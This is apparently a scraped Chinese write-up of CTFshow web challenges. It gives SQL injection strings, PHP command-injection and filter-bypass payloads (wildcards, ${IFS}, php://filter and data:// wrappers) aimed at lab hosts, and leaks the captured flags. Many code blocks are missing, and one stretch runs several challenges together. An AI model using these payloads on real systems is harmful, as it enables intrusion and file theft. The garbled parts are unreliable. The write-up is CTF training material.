CTFSHOW(WEB)
web入门
给她 1
参考文档
https://blog.csdn.net/weixin_51412071/article/details/124270277
查看链接
sql注入
复制代码
- 1
- 2
- 3
- 4
- 5
直接用这里的payload也可以,但是要构造万能密码,把and换为or就行%1$' and 1=1#
复制代码
- 1
- 2
- 3
?name=admin&pass=%1$' or 1=1--+
找到此页面的cookie
转为16进制解码得到
flag.txt
尝试将Cookie中的file赋值为/flag,即
将/flag换成16进制
复制代码
- 1
Cookie: file=2f666c6167
成功
签到题
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
代码审计
构造url
get传入url
system表示php直接执行系统的命令
复制代码
- 1
- 2
- 3
- 4
- 5
"|"是管道命令操作符,简称管道符。
使用管道符"|"可以将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,
第二个命令的输出又会作为第三个命令的输入,依此类推.
构造
复制代码
- 1
http://edbb7af6-9f4a-445e-9578-93b24d1559c6.challenge.ctf.show/?url=;ls;
则为:
复制代码
- 1
curl https://;ls;.ctf.show
例如:
靶场如下:
执行ls
执行cat查看flag
假赛生
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
题目显示register.php和login.php提示
注册admin
使用admin (空格)注册
注册成功
尝试登录
证实登录页面的php后台属于 上述
接着注入c
复制代码
- 1
preg_replace_callback 函数执行一个正则表达式搜索并且使用一个回调进行替换。
复制代码
- 1
mixed preg_replace_callback ( mixed $pattern , callable $callback , mixed $subject [, int $limit = -1 [, int &$count ]] )
这个函数的行为除了可以指定一个 callback 替代 replacement 进行替换字符串的计算,其他方面等同于 preg_replace()。
参数说明:
- $pattern: 要搜索的模式,可以使字符串或一个字符串数组。
- $callback: 一个回调函数,在每次需要替换时调用,调用时函数得到的参数是从subject 中匹配到的结果。
- $subject: 要搜索替换的目标字符串或字符串数组。
- $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
- $count: 可选,为替换执行的次数。
复制代码
- 1
- 2
- 3
- 4
有关正则匹配的知识
\w:用于匹配字母,数字或下划线字符;
\W:用于匹配所有与\w不匹配的字符;
“*”元字符规定其前导字符必须在目标对象中出现零次或连续多次;
其实没有过滤空格此处为空即可
信息收集
web6
提示:解压源码到当前目录,测试正常,收工
url/www.zip
得到zip
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
url/fl000g.txt
web7
复制代码
- 1
版本控制很重要,但不要部署到生产环境更重要。
原理
复制代码
- 1
Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码。
web12
复制代码
- 1
有时候网站上的公开信息,就是管理员常用密码
整个网页
url/admin
提示登录
寻找密码
直接登录
web14
复制代码
- 1
- 2
- 3
- 4
小0day:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录
有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
复制代码
- 1
- 2
- 3
http://10a7bbc1-1b83-4af6-9e3a-da357edaf2b6.challenge.ctf.show/editor/
如上图
点击图片空间
遍历文件得到
fl000g.txt
web16
复制代码
- 1
对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
url/tz.php
点击
phpinfo
ctfshow{91d643da-2afc-4ff8-b6cc-d61a1d0cc296}
web17
复制代码
- 1
备份的sql文件会泄露敏感信息
后台
下载到sql语句
查询得到
复制代码
- 1
INSERT INTO `ctfshow_secret` VALUES ('ctfshow{49c243e0-a3e9-42d6-9378-760ebfd1bbb4}');
web18
复制代码
- 1
不要着急,休息,休息一会儿,玩101分给你flag
查看js源码
复制代码
- 1
- 2
\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b
解码后
访问
web19
复制代码
- 1
密钥什么的,就不要放在前端了
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
error_reporting(0);
$flag="fakeflag"
$u = $_POST['username'];
$p = $_POST['pazzword'];
if(isset($u) && isset($p)){
if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
echo $flag;
}
}
ctfshow{4e1cc67e-fe41-42f3-89a5-dfa1608cc269}
打开brup
发现passzd不一样,修改passzd即可
爆破
web23
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
提示爆破,安排
在线编写函数爆破
输入得到flag
ctfshow{eeee6a3c-db2e-4e5d-8aec-0adc7b1f4617}
web24
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
intval() 函数用于获取变量的整数值。
直接在线php输入
得到值
https://blog.csdn.net/qq_45521281/article/details/107302795
不幸的是,php每次调用mt_rand()函数时,都会先检查是否已经播种。如果已经播种就直接产生随机数,否则调用php_mt_srand来播种。也就是说每个php cgi进程期间,只有第一次调用mt_rand()会自动播种。接下来都会根据这个第一次播种的种子来生成随机数。
web25
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
web27
下载得到名单
爆破身份证号
得到union,解码
复制代码
- 1
恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码
登录即可
命令执行
Web29
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
preg_match 函数用于执行一个正则表达式匹配。
使用system函数操作
因为flag字符串被过滤
使用tac命令
反序查看
tac的功能是可以将文件的内容倒着顺序输出
http://13a798dc-688b-43e1-a5d8-58020aa6328f.challenge.ctf.show/?c=system("tac fl*.php");
查出
Web30
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
加入过滤的system和php
复制代码
- 1
- 2
- 3
PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。
由此:可以
web31
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
这次过滤了空格和
使用%09绕过
仔细看url
或者使用跳板
/?c=eval($_GET[1]);&1=system("tac flag.php");
web32
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
过滤巨多
/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web33
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
因为这题和web32一样,过滤了括号"|(",所以有括号的函数肯定是不能用了,只能尝试文件包含,用include函数
复制代码
- 1
http://edd31fdf-49f2-48cf-b97e-fb12b3f7bc40.challenge.ctf.show/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
当然使用post方法也可以
复制代码
- 1
- 2
http://edd31fdf-49f2-48cf-b97e-fb12b3f7bc40.challenge.ctf.show/?c=include%0a$_POST[1]?>
1=php://filter/convert.base64-encode/resource=flag.php
得到base64编码的flag
复制代码
- 1
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YmEzNTJjNGYtZjhlMC00NDk0LWFjYjMtZWY4NDUwNDJjOTc5fSI7DQo=
解码后即可
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
web34
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
与web33上述方法相同
web35
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
与web33一样
web36
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
上述的绕过无效
查看得知过滤了数字
所以使用其他索引,可以不加''
复制代码
- 1
http://3ad812aa-9d4c-40c2-9384-929c66b16173.challenge.ctf.show/?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
改变题型
不是eval执行
使用伪协议
data://text/plain协议
此协议需要在双on的情况下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入
使用方法:data://text/plain;base64,base64编码字符 如http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data://text/plain,字符 如http://127.0.0.1/cmd.php?file=data://text/plain,
复制代码
- 1
http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/?c=data://text/plain,
可以执行
过略了flag
所以使用占位符?
复制代码
- 1
http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/?c=data://text/plain,
复制代码
- 1
http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/1.txt
即可查看
web38
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
新加了php和file限制
使用php代码块绕过
注意flag.php 不能包含php
加上使用短标签绕过
说明:“=”是PHP的一个短的开放式标签,是echo() 的快捷用法。
复制代码
- 1
http://8bd3cc78-8585-4eb6-9005-ff69df84e908.challenge.ctf.show/?c=data://text/plain,<?= system("cp fl??.* 1.txt"); ?>
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
web39
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
没有回显
include 只生成警告(E_WARNING),并且脚本会继续
后面强制加入后缀
复制代码
- 1
http://91a1aa8b-b89f-4c99-9da9-4a04b5c8ba05.challenge.ctf.show/?c=data://text/plain,
有回显
然后
因为php 先执行前面的,再执行.php 所以有回显
复制代码
- 1
http://91a1aa8b-b89f-4c99-9da9-4a04b5c8ba05.challenge.ctf.show/?c=data://text/plain,
页面显示.php
1.txt
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
web40
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
官方
复制代码
- 1
http://c6854ce2-0c57-4597-837b-7eab839fcd51.challenge.ctf.show/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web41
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
web42
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
类似黑洞
输入第一个参数无反应
http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?c=ls
空白
双写绕过
http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?c=ls;ls
flag.php index.php
http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?cat flag/php;ls
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
?php
/*
-*- coding: utf-8 -*-
@Author: h1xa
@Date: 2020-09-05 20:49:44
@Last Modified by: h1xa
@Last Modified time: 2020-09-05 20:49:53
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
flag="ctfshow{b18aaef2-c72e-4578-b3c0-b0040746fb94}";
知识点
1、可以将/dev/null看作"黑洞". 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到. 然而, /dev/null对命令行和脚本都非常的有用.
用处:
禁止标准输出. 1 cat $filename >/dev/null # 文件内容丢失,而不会输出到标准输出.
禁止标准错误. 2>/dev/null 这样错误信息[标准错误]就被丢到太平洋去了.
> 代表重定向到哪里,例如:echo "123" > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
web43
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
过滤了;和cat
使用url编码加&&绕过
http://0256d8cb-b147-44d8-9e67-a55b98c4b24a.challenge.ctf.show/?c=ls%26%26ls
flag.php index.php
当&&的时候才会执行第二个命令
直接执行
http://0256d8cb-b147-44d8-9e67-a55b98c4b24a.challenge.ctf.show/?c=tac flag.php%26%26ls
web44
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
过滤了flag
使用通配符
http://4d153915-5e45-4ce0-8bd9-fa7917cc64a1.challenge.ctf.show/?c=tac fla*.php%26%26ls
web45
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
多过滤了空格
http://5dea72b2-e966-4cda-a019-4a98e0896f30.challenge.ctf.show/?c=tac fl**.php%26%26ls
使用ascii表的%09绕过
Ascii表如下:
二进制 | 十进制 | 十六进制 | 字符/缩写 | 解释 |
---|---|---|---|---|
00000000 | 0 | 00 | NUL (NULL) | 空字符 |
00000001 | 1 | 01 | SOH (Start Of Headling) | 标题开始 |
00000010 | 2 | 02 | STX (Start Of Text) | 正文开始 |
00000011 | 3 | 03 | ETX (End Of Text) | 正文结束 |
00000100 | 4 | 04 | EOT (End Of Transmission) | 传输结束 |
00000101 | 5 | 05 | ENQ (Enquiry) | 请求 |
00000110 | 6 | 06 | ACK (Acknowledge) | 回应/响应/收到通知 |
00000111 | 7 | 07 | BEL (Bell) | 响铃 |
00001000 | 8 | 08 | BS (Backspace) | 退格 |
00001001 | 9 | 09 | HT (Horizontal Tab) | 水平制表符 |
00001010 | 10 | 0A | LF/NL(Line Feed/New Line) | 换行键 |
00001011 | 11 | 0B | VT (Vertical Tab) | 垂直制表符 |
00001100 | 12 | 0C | FF/NP (Form Feed/New Page) | 换页键 |
00001101 | 13 | 0D | CR (Carriage Return) | 回车键 |
00001110 | 14 | 0E | SO (Shift Out) | 不用切换 |
00001111 | 15 | 0F | SI (Shift In) | 启用切换 |
00010000 | 16 | 10 | DLE (Data Link Escape) | 数据链路转义 |
00010001 | 17 | 11 | DC1/XON (Device Control 1/Transmission On) | 设备控制1/传输开始 |
00010010 | 18 | 12 | DC2 (Device Control 2) | 设备控制2 |
00010011 | 19 | 13 | DC3/XOFF (Device Control 3/Transmission Off) | 设备控制3/传输中断 |
00010100 | 20 | 14 | DC4 (Device Control 4) | 设备控制4 |
00010101 | 21 | 15 | NAK (Negative Acknowledge) | 无响应/非正常响应/拒绝接收 |
00010110 | 22 | 16 | SYN (Synchronous Idle) | 同步空闲 |
00010111 | 23 | 17 | ETB (End of Transmission Block) | 传输块结束/块传输终止 |
00011000 | 24 | 18 | CAN (Cancel) | 取消 |
00011001 | 25 | 19 | EM (End of Medium) | 已到介质末端/介质存储已满/介质中断 |
00011010 | 26 | 1A | SUB (Substitute) | 替补/替换 |
00011011 | 27 | 1B | ESC (Escape) | 逃离/取消 |
00011100 | 28 | 1C | FS (File Separator) | 文件分割符 |
00011101 | 29 | 1D | GS (Group Separator) | 组分隔符/分组符 |
00011110 | 30 | 1E | RS (Record Separator) | 记录分离符 |
00011111 | 31 | 1F | US (Unit Separator) | 单元分隔符 |
00100000 | 32 | 20 | (Space) | 空格 |
00100001 | 33 | 21 | ! | |
00100010 | 34 | 22 | " | |
00100011 | 35 | 23 | # | |
00100100 | 36 | 24 | $ | |
00100101 | 37 | 25 | % | |
00100110 | 38 | 26 | & | |
00100111 | 39 | 27 | ' | |
00101000 | 40 | 28 | ( | |
00101001 | 41 | 29 | ) | |
00101010 | 42 | 2A | * | |
00101011 | 43 | 2B | + | |
00101100 | 44 | 2C | , | |
00101101 | 45 | 2D | - | |
00101110 | 46 | 2E | . | |
00101111 | 47 | 2F | / | |
00110000 | 48 | 30 | 0 | |
00110001 | 49 | 31 | 1 | |
00110010 | 50 | 32 | 2 | |
00110011 | 51 | 33 | 3 | |
00110100 | 52 | 34 | 4 | |
00110101 | 53 | 35 | 5 | |
00110110 | 54 | 36 | 6 | |
00110111 | 55 | 37 | 7 | |
00111000 | 56 | 38 | 8 | |
00111001 | 57 | 39 | 9 | |
00111010 | 58 | 3A | : | |
00111011 | 59 | 3B | ; | |
00111100 | 60 | 3C | < | |
00111101 | 61 | 3D | = | |
00111110 | 62 | 3E | > | |
00111111 | 63 | 3F | ? | |
01000000 | 64 | 40 | @ | |
01000001 | 65 | 41 | A | |
01000010 | 66 | 42 | B | |
01000011 | 67 | 43 | C | |
01000100 | 68 | 44 | D | |
01000101 | 69 | 45 | E | |
01000110 | 70 | 46 | F | |
01000111 | 71 | 47 | G | |
01001000 | 72 | 48 | H | |
01001001 | 73 | 49 | I | |
01001010 | 74 | 4A | J | |
01001011 | 75 | 4B | K | |
01001100 | 76 | 4C | L | |
01001101 | 77 | 4D | M | |
01001110 | 78 | 4E | N | |
01001111 | 79 | 4F | O | |
01010000 | 80 | 50 | P | |
01010001 | 81 | 51 | Q | |
01010010 | 82 | 52 | R | |
01010011 | 83 | 53 | S | |
01010100 | 84 | 54 | T | |
01010101 | 85 | 55 | U | |
01010110 | 86 | 56 | V | |
01010111 | 87 | 57 | W | |
01011000 | 88 | 58 | X | |
01011001 | 89 | 59 | Y | |
01011010 | 90 | 5A | Z | |
01011011 | 91 | 5B | [ | |
01011100 | 92 | 5C | \ | |
01011101 | 93 | 5D | ] | |
01011110 | 94 | 5E | ^ | |
01011111 | 95 | 5F | _ | |
01100000 | 96 | 60 | ` | |
01100001 | 97 | 61 | a | |
01100010 | 98 | 62 | b | |
01100011 | 99 | 63 | c | |
01100100 | 100 | 64 | d | |
01100101 | 101 | 65 | e | |
01100110 | 102 | 66 | f | |
01100111 | 103 | 67 | g | |
01101000 | 104 | 68 | h | |
01101001 | 105 | 69 | i | |
01101010 | 106 | 6A | j | |
01101011 | 107 | 6B | k | |
01101100 | 108 | 6C | l | |
01101101 | 109 | 6D | m | |
01101110 | 110 | 6E | n | |
01101111 | 111 | 6F | o | |
01110000 | 112 | 70 | p | |
01110001 | 113 | 71 | q | |
01110010 | 114 | 72 | r | |
01110011 | 115 | 73 | s | |
01110100 | 116 | 74 | t | |
01110101 | 117 | 75 | u | |
01110110 | 118 | 76 | v | |
01110111 | 119 | 77 | w | |
01111000 | 120 | 78 | x | |
01111001 | 121 | 79 | y | |
01111010 | 122 | 7A | z | |
01111011 | 123 | 7B | { | |
01111100 | 124 | 7C | | | |
01111101 | 125 | 7D | } | |
01111110 | 126 | 7E | ~ | |
01111111 | 127 | 7F | DEL (Delete) | 删除 |
web46
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
不让*和数字
换成??即可
http://5dea72b2-e966-4cda-a019-4a98e0896f30.challenge.ctf.show/?c=tac fl??.php%26%26ls
web47
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
直接用上一个的payload
web48
一样没有过滤tac
web49
一样没有过滤tac
web50
复制代码
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
过滤了%09和$和空格
http://a5efde63-ab05-4a72-abcf-f55eb76bfa8c.challenge.ctf.show/?c=nl url编码后 http://a5efde63-ab05-4a72-abcf-f55eb76bfa8c.challenge.ctf.show/?c=nl nl命令: nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。 其中''为两个的单引号 与web50一样 过滤了<和>,没有过滤$ 考虑使用IFS Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。 其中数字过滤 使用cp和mv命令均无效 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=cp${IFS}fla?.php${IFS}a.txt||ls 过滤了数字,所示使用a.txt 查看ls后 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls||ls a.txt flag.php index.php 查看复制过的 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=nl${IFS}?.txt||ls 回显如下: 好家伙,不在这里。遍历全局 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls${IFS}/${IFS}||ls 直接cp flag http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls${IFS}/$fla?||ls 无回显 要不是空目录要不是一个文件 尝试文件复制 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=cp${IFS}/fla?${IFS}b.txt||ls 查看 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls||ls 回显成功 查看复制的文件 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=nl${IFS}b.txt||ls system成功的话返回最后一段,否则为false http://82baa6a1-7fed-41c4-843d-26903a052400.challenge.ctf.show/?c=nl${IFS}fla?.php 过滤巨多 不能使用''绕过 http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/?c=ls 原本未有变化 发现未过滤mv http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/?c=mv${IFS}fla?.php${IFS}b.txt ls b.txt index.php http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/b.txt 直接使用 过滤了a-z的字母 没有·.·,.在linux下可以执行脚本文件 考虑文件上传 https://blog.csdn.net/qq_46091464/article/details/108513145 多过滤了 只用构造36.php绕过过滤即可 url 原理: 原理是: 注意的是: 禁用函数 尝试 phpinfo echo函数 成功! 禁止了exec的shell脚本执行 c=show_source('flag.php'); 没有禁用文件读取 与上题目一致 只不过命令禁止更加严格 被禁用 尝试之后与上体方法一致web51
web52
?php
2
3 /*
4 # -*- coding: utf-8 -*-
5 # @Author: h1xa
6 # @Date: 2020-09-05 20:49:44
7 # @Last Modified by: h1xa
8 # @Last Modified time: 2020-09-05 20:49:53
9 # @email: h1xa@ctfer.com
10 # @link: https://ctfer.com
11
12 */
13
14
15 $flag="flag_here";
bin dev etc flag home lib media mnt root run sbin srv sys tmp usr var
1 ctfshow{caf4c161-d5ec-4215-bb43-45f091d799a7}
web53
nl${IFS}fla?.php 1 15 $flag="ctfshow{6ee3394a-7785-452f-b438-ce2b136d6eab}";
web54
flag.php index.php
web55
web56
web57
http://1c78a6f5-a9a5-4452-b093-1074f6bbb077.challenge.ctf.show/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反
${_}会输出上一次的执行结果
?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-07 19:40:53
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$flag="ctfshow{5d167e95-84d5-4334-adea-a80cf8b9d684}"
web58
Warning: phpinfo() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
c=echo `ls`;
Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
c=show_source('flag.php');
web59
c=echo file_get_contenets('flag.php');
Fatal error: Uncaught Error: Call to undefined function file_get_contenets() in /var/www/html/index.php(17) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(17): eval() #1 {main} thrown in /var/www/html/index.php(17) : eval()'d code on line 1
c=show_source('flag.php');